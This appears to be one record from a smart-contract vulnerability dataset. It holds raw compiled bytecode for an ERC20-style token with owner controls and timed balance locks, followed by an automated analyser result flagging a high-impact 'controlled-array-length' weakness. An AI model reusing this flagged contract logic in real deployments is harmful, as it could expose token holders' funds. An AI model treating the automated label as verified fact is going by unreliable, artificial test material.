cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113235760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161132d84611880565b10156113835760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546113ac908363ffffffff61196516565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114b05760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114b9816119d2565b50565b6001600160a01b03831661150457604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d976024913960400191505060405180910390fd5b6001600160a01b03821661154c57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611d0f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117cd576001600160a01b03821660009081526005602052604090208054429190839081106115f857fe5b906000526020600020906002020160000154116117c5576001600160a01b03821660009081526005602052604090208054611638919083908110610ad857fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061168c57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116d757fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461179a576001600160a01b03821660009081526005602052604090208054600019810190811061173957fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061177757fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117c3906000198301611bc2565b505b6001016115b1565b5050565b60006117de848484611a8c565b6001600160a01b038416600090815260016020908152604080832033808552925290912054611819918691610731908663ffffffff61196516565b5060019392505050565b6000828201838110156109e85760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118e357604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d516021913960400191505060405180910390fd5b6002546118f6908263ffffffff61196516565b6002556001600160a01b038216600090815260208190526040902054611922908263ffffffff61196516565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d31833981519152929081900390910190a35050565b6000828211156119bf5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105e9338484611a8c565b6001600160a01b038116611a305760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ad457604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d726025913960400191505060405180910390fd5b6001600160a01b038216611b1c57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cec6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b45908263ffffffff61196516565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b7a908263ffffffff61182316565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d3183398151915292918290030190a3505050565b815481835581811115610c9857600083815260209020610c98916105f69160029182028101918502015b80821115611c065760008082556001820155600201611bec565b5090565b6001600160a01b038216611c685760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c7b908263ffffffff61182316565b6002556001600160a01b038216600090815260208190526040902054611ca7908263ffffffff61182316565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d318339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820aafe2c8637305df8ec94967f4ff706636307f6e6ac099f483c1969f4e4388f700029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,999